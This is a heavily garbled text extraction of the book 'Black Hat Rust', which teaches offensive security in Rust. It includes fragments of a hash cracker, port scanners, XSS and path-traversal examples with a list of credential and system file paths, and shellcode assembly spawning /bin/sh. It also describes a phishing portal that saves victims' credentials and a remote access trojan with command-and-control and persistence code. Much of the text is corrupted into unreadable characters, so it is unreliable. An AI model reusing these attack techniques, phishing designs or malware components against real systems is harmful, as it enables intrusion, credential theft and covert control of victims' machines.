Professional Documents
Culture Documents
Black Hat Rust
Black Hat Rust
Black Hat Rust
Sylvain Kerkour
A lied o ed i e ec i紷 i紷h 紷he 紷 og a܃܃idg ladg age
l aid Ke ko
5
Contents
Copyright 7
Conta t 9
Prefa e 10
1 Introdu tion 13
e of a紷紷a k 4
5 Al紷e da紷i e 55
Goidg f 紷he O GO 5
܃܃a
5 8 C a lidg a J ON A I
5 9 C a lidg a Ja a c i 紷 eb a lica紷iod
5 Ho 紷o defedd
5 Goidg f 紷he
5 ܃܃a 8
14 Conclusion 348
4 ha紷 e didd 紷 co e 紷
Copyright
Co igh紷 l aid Ke ko
Af紷e high chool, ܃ lad fo life a 紷o beco܃e a i a紷e de紷ec紷i e, ܃a be beca e
I ead 紷oo ܃ad he lock Hol܃e book Id F adce, 紷he ea ie 紷 a 紷o beco܃e ode i
a 紷o go 紷o la di e i紷 add 紷hed 紷o a紷紷edd a eciali ed chool
I a do紷 ead
Chapter 1
Introduction
, dkdo d
he紷he i紷 be id ܃o ie o id ܃aid 紷 ea܃ ܃edia, hacke a e of紷ed o܃ad紷ici edo 紷he
a e de ic紷ed a black ܃agic i a d , da 紷 c i܃idal , o , id 紷he o 紷 ca eal ,he d
Cad o܃eode be ad e e 紷 id all 紷he e ladg age I dod 紷 紷hidk o Add 紷he co d紷le
b g add lde abili紷ie id o ed i e 紷ool o e I ܃igh紷
A ladg age 紷ha紷, odce ܃a 紷e ed, o ld ll all 紷he deed of 紷he eldo
de
C o - la紷fo ܃ e܃o紷e Acce ool A
e able ܃beddable e loi紷
c e
hi hidg 紷oolki紷
E܃bedded og a܃܃idg
eb e e
ha紷 if e had a idgle ladg age 紷ha紷 i lo -le el edo gh hile o ididg high-le el
ab 紷 ac紷iod , i e j ,
1.1.2 Political attacks
o܃e紷i܃e , a紷紷ack ha e 紷he odl goal of eadidg a oli紷ical ܃e age Mo 紷 of 紷he
紷i܃e, 紷he ܃a紷e iali e a eb i紷e deface܃ed紷 he e eb i紷e cod紷ed紷 i e laced i紷h
紷he oli紷ical ܃e age, o dedial-of- e ice a紷紷ack he e a iece of idf a 紷 c紷 e o a
e ice i ܃ade da ailabla e
1.1.7 Industrial spying
Idd 紷 ial e iodage ha al a beed a 紷e ܃紷idg ܃ead fo co ܃adie 紷o b eak do d
co ܃e紷i紷o ec e紷 add achie e co ܃e紷i紷i e ad ad紷age A o ecodo ܃i ܃o e add
܃o e de܃a紷e iali ed digi紷ali ed , 紷hi kidd of a紷紷ack ill odl idc ea e id d
1.2.3 Lateral Movements
Al o kdo d a i o紷idg, la紷e al ܃o e܃ed紷 de igda紷e 紷he oce of ܃aid紷aididg acce
E loi紷 de elo ܃ed紷 i al o kdo d a weaponization
Fidall , b b o
e Go Fig e o Google 紷e ddee
ch_01/s! ppets/enums/src/lib.rs
pub e! m Status {
1.7.4 Modular
eI * Rust’s creators clearly listened to developers �O
1.8.1 Install Rust(up)
rustup is they to lwa e ust to chains ny ur c mputer. It
to up rustfm
t e ust and install ther c mp nts like the automatic c .
e f rmatter:
Yu rust-analyzer extens� l
typ r$ e t.
1.9 Our first Rust progra- A SHA-1 hash cracker
The - - nt has * - t $ t our hands dirty l t’s writ our first Rust progra- As for all
generics. It has the advantage of being compile-time evaluated and checked and thus prevent
vulnerabilities such as
found in breached websites
Reading a file in Rust can be achieved with the standard library like that:
ch_01/sha1_cracker/src/main.rs
use std::{
env,
error::Error,
fs::File,
io::{BufRead, BufReader},
};
if args len() != 3 {
rintln! &Usage:" ;
rintln! &sha1_cracker: <wordlist.txt> <sha1_hash>" ;
return Ok(());
}
1.9.5 Ok(())
You might also have noticed that the last line of our main function does not contain the
return keyword. This is because Rust is an expression-oriented language. Expressions
evaluate to a value. Their opposites, statements, are instructions that � g and � � h a semicolon (
; ).
S � f our program reaches the last line of the main function, the main function will
evaluate to Ok(()) , which means: “success: everything went according to the plan”.
return Ok(());
but not:
Ok(());
Because here Ok(()); is a statement � e to the semicolon, and e main function no longer
evaluates to its expected return type: Result .
The compiler should be seen as an always available and y co� -reviewer. S � s not
r� prevent your co� . Instead, it’s a friend t tells you that your
co� s defective and ven offers suggestions on how to fix it.
I have witnessed a great improvement over the years of the messages displayed by the compiler,
and I have no doubts that if to� y the compiler pro� ces an obscure message for an edge
case, it will be improved in the future.
1.10.2 Just In Time learn ust is a vast language that you won’t be ab
fine. You don’t have to know everything to started.
Learning Rust can sometimes be extremely
b frustrating: th R
• If he e i e ac ei ife i e$ e ided $ ha ife i e i a ig e
let secon* � - � - � eco �� coJ r � �( - �
must be subtracted elsewhere. But who is in charge of removing Rust’s features? Is it even
possible?
As a result, I’m afraid that the complexity of the language will grow faster than its rate of
adoption and that it will be an endless, exhausting race to stay updated on the new features
as developers.
1.11.5.1 Rustup
cargo-outdated is a program that helps you to identify your outdated dependencies that
can’t be automatically updated with cargo update
I’ve also heard good things about Obsidian.md and Notion.so but personally don’t use: I
prefer to own my data ��
1.12 Summary
• The Rust language is huge. Don’t learn everything ahead of time. Code. Fail. Learn.
Repeat.
• Expressions evaluate to a value. Their opposites, statements, are instructions that do
something and end with a semicolon ( ; ).
• Try not to use lifetime annotations and macros.
• Embrace the compiler. It should be seen as an always present and friendly code-
reviewer.
• RAII: Resource Acquisition Is Initialization.
• The hacker, The exploit writer, The developer, The system administrato The
• Reconnaissance, Exploitation, Lateral Movements, Data exfiltration, Clean up
4
Chapter 2
27 Scanning orts
Subdomains and IP addresses enumeration is only one part of assets discovery The next one
is ort scanning: once you have discovered which servers are ublicly available, you need to
.ite6) subdomain.open_ports = MOST_COMMON_PORTS_100
.into_iter()
.map(|port| scan_port(socket_addresses[0], *porO()
Fig e o idgle M l紷i 紷h eaded
2.17 Summary
• Always use a timeout when creating network connections v
Chapter 3
I didn’t tell you the whole story: multithreading is not the only way
(what is an event lVa c
later, but we don’ w ow when, or thatw s s mplywa collection ( Vec
3.6.1 The event loop(s)
At the core of all async runtimes (whether it be in Rust, Node.js, or other languages) ar hg t
To learn more about the different kinds of event loops, you can read this excellent article by
Carl Lerche: https://tokio.rs/blog/2019-10-scheduler.
3.6.2 Spawning
When you want to dispatch a task to the runtime to be executed by a processor, you spawn
it. It can be achieved with tokio’s tokio::spawn function.
tokio::spawn(async move
us� � � ::* � � � �� * �� ]P - �� 6 � ��
}
});
Since version 1.53 (released on June 17, 2021), iterators can also be obtained from arrays:
ch_03/snippets/combinators/src/main.rs
fn array() {
let a =[
1, 2, 3,
];
for x in a.iter() {
println!("{}", x);
}
}
3 .2 Consuming iterators
Conversely,
let _positive_numbers: Vec<i32> =
assert_eq!(w, ve] 7 (w
"",
];
And the two extremely useful function for the Option type: is_some and is_none
if a.is_some() {
println!
fn
result_ok()
if
async
20
15
...
r
}
async { m * ;
. let subd in = p sc rts(p y , subd in
res.l� ) .a� .push(subd in
}
.a�
a�a5a2a3
; � 0 *
fn
main()
flatten
.collect::<Vec<String>>()
})
.flatten()
.filter(|subdomain: &String| subdomain
!= target)
.filter(|subdomain: &String| !subdomain
. contains("*"))
.collect();
subdomains.insert(target.to_string());
Then, we can check if the domains resolve by turning the subdomains into a Stream. Thanks
to the combinators, the code remains easy to read.
Here, add
fn main() {
let a: &str = "42";
let b: i64 = 42;
generic_display(a);
generic_display(b);
Generics are what allow Rust to be so expressive. Without them, it would not be possible to
have generic collections such as Vec , HashMap , or BTreeSet .
use std::collections::HashMap;
struct Contact {
name: String,
email: String,
}
fn main() {
// imagineofa imported contacts with duplicates
let imported_contacts = vec![
Contact {
name: "John".to_string(),
email: "john@smith.com".to_string(),
},
Contact {
name: "steve".to_string(),
email: "steve@jobs.com".to_string(),
},
Contact {
name: "John". name
];
l s ]
}
// Output:
// wouf
// Anonymous: World
pub trait
}
struct ActualPrinter{}
fn main() {
let s =
4.2.5 The attribute
When you have a lot of traits to implement for your types, it can quickly become tedious and
may complexify your code.
By using the derive attribute, we are actually feeding our types to a Derive macro which
is a kind of procedural macro.
y: T,
}
Traits objects solve precisely this problem: when you want to use different concrete types
(of varying shape) adhering to a contract (the trait), at runtime.
- tead of using the objects directly, we are going to use pointers to the objects in our collection.
y e a* This time, the compiler will accept our code, as everab ction.Trair � w- e r; ev
fn process(processor: &dyn Processor, x:
4.4 Command line argument parsing
In the first chapter, we saw how to access command-line arguments For more complex
programs, such as our scanner, a library to parse command-line arguments is required
For example, we
}
4.5 Logging
When a long-running program encounters a non-fatal error, we may not necessarily want to
stop its execution. Instead, the good practice is to log the error for further investigation and
debugging.
Therean a-- am
To setj it up simp y export the RUST_ OG
e2= environment variab e and call the init function
as follo
ch_ 4/tricoder/src/main.rs
Ok(None)
}
}
if !res.status().is_success() {
return Ok(None);
(
}
These past years, there wasn’t one month where one company was breached or ransomed
because they left a database with no authentication on the internet. The worse offenders
are mongoDB and Elasticsearch. A less famous (because more niche, targeted for cloud
infrastructure) but still important to know is etcd
#[async_trai s _ �}
#[async_trait]
impl HttpModule for KibanaUnauthenticatedAccess {
async fn scan(
&self,
http_client: &Client,
endpoint: &str,
) -> Result<Option<HttpFinding>, Error> {
let url = format!("{}", &endpoint);
let res = http_client.get(&url).send().
pub fn new() -> Self {
DirectoryListingDisclosure {
dir_listing_regex: Regex::new(r"<title>Index of .*</title>")
.expect("compiling http/directory_listing reget(r
orkflows.
name: CI
on:
push:
branches:
- main
- 'feature-**'
jobs:
test_ph*Ber:
runB-on: ubuntu-latest
steps:
- uses
uses: act % ]P� -
cd phaser
cargo build --release
There is a lot of specialized scanners you may want to take inspiration from:
tr
your markdown document into a mindmap, which is not exactly a graph, but a tree.
• Sherlock
information about your target to be searched later. Whether it be in a markdown
report, in maltego, or in a traditional database like PostgreSQL.
As w l see, searc engines arF t limited to the w b (suc a/ oogle or Bing). There also
arF8 c engines for8 s an� os to G O se �sw ab r � sp
5.9 Crawling the web
First, a term d amb g at on: what the d fference between a scraper and a crawler?
Scraping the process of t rning nstruct red web data into struct red data.
Fig e 5 o eb c a idg
Crawling the process of r nning thro gh a lo of interlinked data (web pages, fo� example).
In practice, ’s most of the time seless to scrape w ho t crawling thro gh mult ple pages
o� to crawl w ho t scraping content, so we can say that each crawler a scraper, and almost
every scraper a crawlerO � e people prefer to call a scraper a crawler fo� a spec fic webs e and a crawler ss
By using an associated type, we simplify the usage of the trait and communicate more clearly
how it works:
#[async_trait]
#[
pub trait Spider {
type Item
•
sleep(Duration::from_millis(5)).await;
}
log::info!(
drop(items_tx);
barrier.wait().
items.push(cve);
}
}
If the API doesn’t return the expected number of results (which is configured with the
per_page
For that, we will use chromedriver.
$ dd if=/dev/zero bs=1M count=10000 | gzip > 10G.gzip
$ du -sh 10G.gzip
$ 10M 10G.gzip
Then,
i o A ܃o ad adc d c a l
.21.2 Us a swappab 6
An � impov 6 *
Chapter 6
Finding vulnerabilities
What is a vulnerability depends on your threat model (What is a threat model? We will learn
more about that in chapter 11).
For example,
this bug was rewar $700 for a i e DNS leak. But in the context
privacy-preserving s twar , this leak is rather important an may endan er people.
In the same vein, a tool such as npm audit may report a looot vulnerabilities in your
dependencies. In reality, even if your own s twar uses thos* w� endencies, it may
not be
the vulnerability can’t be trigger .
6.2 r (a ey
Thus, a weakness (CWE) is a pattern that may lead to a vulnerability (CVE).
6.6 Injections
Injections is a family of vulnerabilities where some malicious payload can be injected into the
application for various effects.
The root cause of all injections is the mishandling of the programs’ inputs.
•
Here is an example of pseudo-code vulnerable to HTML injections:
https://minifiedurl.co/q9n7l
Thus, victims may be way less suspicious as we are all used to clicking on minified URLs, in
the description of YouTube videos, for example.
6.9.3 DOM-based XS
A Dom-based XS is an XS injection where the payloa is not returned by the server, but
instea execute directly by DOM.
<s* ipt>
document.w ite ('...' + w ndow .location + '...');
</s* ipt>
Anorm
Fig e o O
r s r dir
F� ct
they may spread false messages while the rest of the world thinks that those messages come
from the PR department of the hacked company.
See the trick? Instead of sending a legitimate id , we send the path of a sensitive file.
/etc/passwd
/etc/shadow
/proc/self/environ
/etc/hosts
/etc/resolv.conf
/proc/cpuinfo
/proc/filesystems
/proc/interrupts
/proc/ioports
/proc/meminfo
/proc/modules
/proc/mounts
/proc/stat *
/proc/version
~/.bash_history
~/.bashrc
~/.ssh/authorized_keys
~/.ssh/id_dsa
.env
panic if you try to fill a buffer with more data than its size.
Fuzzing i a kind of testing that i f lly a tomated and th s �eq i�es yay less h man effort
than �eviewing a codeba especially a he code ba i ve�y la�ge. AlsO wing
We just need to add the arbitrary to the list of dependencies.
ch_06/fuzzing/fuzz/Cargo.toml
[package]
name = "fuzzing-fuzz"
version = "0.0.0"
authors = [
fuzz_target!(|data: MemcopyInput| {
let mut data = data.clone();
fuzzing::vulnerable_memcopy(&mut data.dest, &data.src
Chapter 7
Exploit development
• exploit-db.com
• GitHub
Because my first computer had only 1GB of RAM (an Asu nEeePC), my hobbies were very
low-level and non-resources intensive.
One of those hobbies was crafting shellcodes. Not for offensive hacking or whatever, but just
Fig e 8 o E ec 紷able add Lidkable Fo ܃a紷 ELF
Using multiple sections allows each section to have different characteristics. For example, the
.text section is often marked as RX (Read-Execute) while the .data section as R
(Read only). It permits enhancing security.
It is useful for creating shellcode, because our shellcodes will never return any value. They
may exit to avoid brutal crashes, but their return value will never be used.
[profile.release]
panic = "abort"
opt-level = "z"
lto = true
codegen-units = 1
}
#[panic_handler]
fn panic(_: &
0x000055555555b721 <+53>: 00 00 add %al,(%rax)
0x000055555555b723 <+55>: 00 00 add %al,(%rax)
0x000055555555b725 <+57>: 00 00 add %al,(%rax)
0x000055555555b727 <+59>: 00 00 add %al,(%rax)
0x000055555555b729 <+61>: 00 00 add %al,(%rax)
0x000055555555b72b <+63>: 00 0f� � (%r� )
$ 1 p.
H We �
0x000055555555b71b ou � array. Bu� �
i �
0x000055555555b70b � , an70x00000020
t . v
1e: 48 c7 40 08 08 00 00 mov QWORD PTR [rax+0x8],0x8
25: 00
26: 6a 3b push 0x3b
28: 58 pop rax
29: 31 d2 xor edx,edx
2b: 0f 05 syscall
2d: 48 83 c4 20 add rsp,0x20
31: c3 ret
32: 2f (bad)
33: 62 (bad)
34: 69 .byt$ ret
32: 2f
( bad)
( bad) - "/bin/ �
pop rdi
mov rsi, 2
mov rax, 0x21
syscall
dec rsi
mov rax, 0x21
syscall
dec rsi
mov rax, 0x21
syscall
push 0x68732f
push 0x6e6962 � r de � v +�
const AF_INET: usize = 2;
const SOCK_STREAM: usize = 1;
const IPPROTO_IP: usize = 0;
Sometimes, finding technical vulnerabilities is not possible: you don’t have the skills, don’t
me. have the righ
9.1.1 The Art of Persuasion
More than 2000 years ago, the Greek philosopher Aristotle wrote what may be the most
crucial pk Grucia- n
9.2.1 Dumpster diving
Yeah, you heard it right. By digging in the trashes of your target, you ma, e able to find
some interesting, non-destroed papers: inv oices, contracts, HR documents…
The idea is to let the victim believes that to receive their yearly salary bonus, they have to
check something on the intranet of the company. Of course, we will send a link directing to
a phishing portal in order to o
9.4.3 Bit squatting
And last but not least, bit squatting.
The idea is that computers suffer from memory errors where one or more bits are corrupted,
fn main()
doeain.com
do-ain.com
domcin.com
domein.com
domiin.com
domqin.com
domahn.com
domakn.com
domamn.com
domaan.com
domayn.com
domaio.com
domail.com
domaij.com
domaif.com
9.5 Telephone
Fig e 9 o ebA e܃bl
In theory, emails are composed of simple HTML. But every web developer knows it: It’s in
practice close to impossible to code email templates manually. There are dozen, if not more,
email clients, all interpreting HTML in a different way. This is the definition of tech legacy.
Fortunately, there is the awesome mjml framework. You can use the o
Fig e 9 4o e od i e e܃ail
<mj-divider border-color="#4267B2"></mj-divider>
</mj-column>
</mj-section>
</mj-body>
</mjml>
ch_09/emails/src/template.rs
5
pub const EMAIL_TEMPLATE: &str = r#"""
<!doctype html>
// ...
"""#;
The goal of our application is simple: It’s a portal where the victim will enter their credentials
(thinking that it’s a legitimate orm), the credentials are oing to be saved in an SQLite
database, and then we redirect the victims to an error pa e to let them think that the service
is temporarily unavailable and they should try a ain later.
9.12.1
9212 *to Installingthetoolchain
}
Now, if we make a change, there is no need to manually do the same change elsewhere. Adios
the desynchronized m� dEe prO z$ke
ApiResponse(
}
}
That being said, it has the advantage of being extremely robust as all possible errors are
handled. No more uncatched runtime errors that you will never know about.
9.12.7 App
Then comes the App component, which wraps everything and renders the routes.
ch_09/phishing/webapp/src/lib.rs
$ ifconfig bhr0 up
$ ifconfig bhr0 10.1.1.1 netmask 255.255.255.0
$ sysctl net.ipv4.ip_forward=1
$ iptables --flush
$ iptables -t nat --flush
� $ iptables �-ts nat
t -A PREROUTING -i bhr0 -p udp -m udp --dport 53 -j
9.14.2 Two-factor authentication
There are a lot of ways credentials can lean
Those are all TXT DNS entries to set up. It can be done in ~5 mins, so there is absolutely
no reason not to do it.
9.14.4 Training
Training, training and training. We are all fallible humans and may, one day. where
and ; u vu
Chapter 10
A modern RAT
Fig e o A chi紷ec紷 e of a A
10.2.5 Domain generation algorithms
Domain generation algorithms (DGA) are not a distinct communication channel but rather a
technique to improve the availability of the C&C in case of an attack.
If the initial C&C is shut down, agents havaik n algorithm that will generatik n names
andk y to contact the C&C at these addresses. Op then just havaik o register one of
the domain names andJ the C&C to it. If the C&C is again shut down, rep
9
10.3.2 Meterpreter
Meterpreter (from the famous Metasploit
If, as of now, I have not convinced you that Rust is THE language to rule them all, especially
in offensive security, please send me a -
Fig e 5o ho 紷 ol
There are a lot of problems when using websockets. First, it requires keeping a lot of, often
idle, open connections, which is wasteful in terms of server resources. Second, there is no
auto-reconnection mechanism, each time a network error happens (if the client change from
wifi to 4G for example), you have to im t your own reconnection algorithm Third,
there is no built-in authentication mechanism, so you often have to hack your wayto
handshakes and some kind of other custome protocol
Websockets are the way o go if you need absolute minimal network usage and minimal latency
10)
Fig e E
Contrary to websockets, SSE streams are unidirectional: only the server can send data back
to the client Also, the mechanism for auto-reconnection is (normally) built-in into clients.
10)
Finally, there is long polling:the client emits a request with an indication of the last piece
of data it has (a timestam for example), and the server sends the response back only when
new data is available or when a certain amount of time passed
4
Fig e he o ce
45
Let’s dig in!
10.5.3.1 Presentation
drivers
tide 353,001
gotham 76,044
hyper is the de fac and certainly more proven HTTP library in Rust. Unfortunately, it’s a
little bit too low-leveJit t
warp
sqlx is the clear winner of the competition.
10.8 Let’s code
10.8.1 The server (C&C)
10.8.1.1 Error
impl Config {
pub fn load() -> ResulO
10.8.1.4 Decoding requests
ch_10/server/src/api/mod.rs
v
pub async fn update_job_result(&
};
use �;
use sqlx::{Pool, Postgres};
use uuid::Uuid;
impl Repository {
pub async fn create_job(&
10.8.1.10 main
e/ ss n.rs
And finally, the main.rs file to wire up everything and start the tokio runtime.
10.8.2.1 Registering
pub fn
ret =
10.8.3.2 Listing jobs
pub fn run(api_client:
Chapter 11
F e o Ha h f dc紷iod
A hash function takes as input an ar itr r ly long message, and produces a fixed-length hash.
Each identical message produces the same hash. On the other hand, two different messages
should never produce the same hash.
They ar useful to ver y the int! rity of files, without having to compar /send the entir
Fig e o HA- 5 ha he od a do dload age
Fig e 4o MAC
9
11.6 Key derivation functions
Fig e o Block ci he
Like all asymmetric algorithms, the public key is safe to share, and as we will see later,
public keys of signature algorithms are, most of the time, the foundations of digital (crypto)-
identities.
The (certainly) most famous and used Signature algorithm (and the one I recommend you to
use if you have no specific requirement) is: ed25519 .
If one of the intermediaries recorded all our messages and our private key leaked, the malicious
actor would be able to decrypt all the messages! Past, present, and future.
This is basically how PGP works and the principal reason it’s criticized by cryptographers.
Forward Secrecy (also known as Perfect Forward Secrecy) is a feature of protocols that guar-
antees that if a key leaks at the moment T , messages sent before, at T-1 , T-2 , T-3
… can’t be decrypted.
To implement forward secrecy, we could simply create many keypairs, use one keypair per
message and delete it after the message is received.
But then we would lose our feature that 1 public key = 1 identity: we would need to
verify with Bob for each message that each public key is legitimate and actually comes from
Bob, and not a MITM attacker, which is impracticable.
Unless…
11.12.5 Signatures
Signatures allow a person in possession of a private key to authen
message. By signing the message or document, mevprivate key owner attests to its validity.
Then, everybody who has to me public key can verify that me signature matches the
document.
2.
On the other hand,
tors. It provides a relay between the client and the agents. One reason is to hide the identity
of the operators issuing commands from the client. Another one is to provide high availability:
the client clnd’ $ein h
Fig e o O edd-紷o-edd
edc 紷iod o紷ocol
11.19.1.2.3 XChaCha20-Poly1305 Notice the X before ChaCha20-Poly1305 .
Its meaning is eXtended nonce : instead of a 12 bytes (96 bits) nonce, it uses a longer one
11.20 Implementing end-to-end encryption in Rust
Without further ado, let’s see how to implement this protocol!
let identity_keypair = ed25519_dalek::Keypair::generate(&mut rand_generator);
Then we need to generate our x25519 prekey which will be used for key exchange for jobs.
ch_11/agent/src/init.rs
Then we need to sign our public prekey, in order to attest that it has been issued by the agent,
and not an adversary MITM. ch_11/agent/src/init.rs
Going multi- s
Until now, we limited our builds to Linux While the Linux market is huge server- this
is another story client- with a market share of roughly 2.5% on the desktop.
To increase the num er of p tial targets, we are going to use cross- 7 we will
| e a program from a Host Op r t- e
Windows or on Linux.
Thus we will need to write some parts of our RAT for windows, rewrite the same part for
Linux, and rewrite it for macOS…
The goal is to write as much as possible code that is shared by all the platforms.
12.2
rm � Cross-platform
� � p 4 Rua.
�� O $$ o
a, any module.
mod install;
// ...
install::install();
• aarch64-unknown-linux-gnu
• i686-pc-windows-gnu
• i686-pc-windows-msvc
• i686-unknown-linux-gnu
• x86_64-apple-darwin
• x86_64-pc-windows-gnu
• x86_64-pc-windows-msvc
• x86_64-unknown-linux-gnu
You can find the platforms for the other tiers in the official documentation: https://doc.rust-
lang.org/nightly/rustc/platform-support.html.
In practical terms, it means that our RAT is guaranteed to work on Tier 1 platforms without
problems (or it will be handled by the Rust teams). For Tier 2 platforms, you will need to
writeu be ure that sy
CXX_aarch64_unknown_linux_gnu=aarch64-linux-gnu-g++
Ok(())
}
As it would lead to weird bugs and unpredictable be vior, it’s not desirable. Thus, we must
ensure that at any given moment, only one instance of our RAT is running on a host system.
Also, in order to reduce the bundle’s size, we compress each executable with the upx packer.
ch_13/rat/agent/src/install.rs
if ssh.authenticated() {
return Ok
println!("size: {}", agent_data.len());
if a new version is avail l and updat itsel if necessary.
When impl menting such a mechanism, don’t for$ n ; fio � adat f tsF T t *e
Fig e o i o紷idg
Fig e 4o 紷age
4
13.9.10 Process migration
Once executed, a good practice for RAT to reduce their footprint is 7 f
Chapter 14
Conclusion
By now, I hope to have convinced you that due to its safety:v ty �:v ydt l
e
Ego, money, judiciaries threats… There are many reasons that may drive a person to snitch
and betray their teammates.
Fig e 4 o o de 紷 紷e
Beware that finding prospects for this kind of service is hard, and you certainly won’t be able
to do it all by yourself. Furthermore, you not only need to quickly adapt to new vulnerabilities
to protect your customers, but also to follow all �e i ajor �eferences uch as OWASP, which
is a lot of work!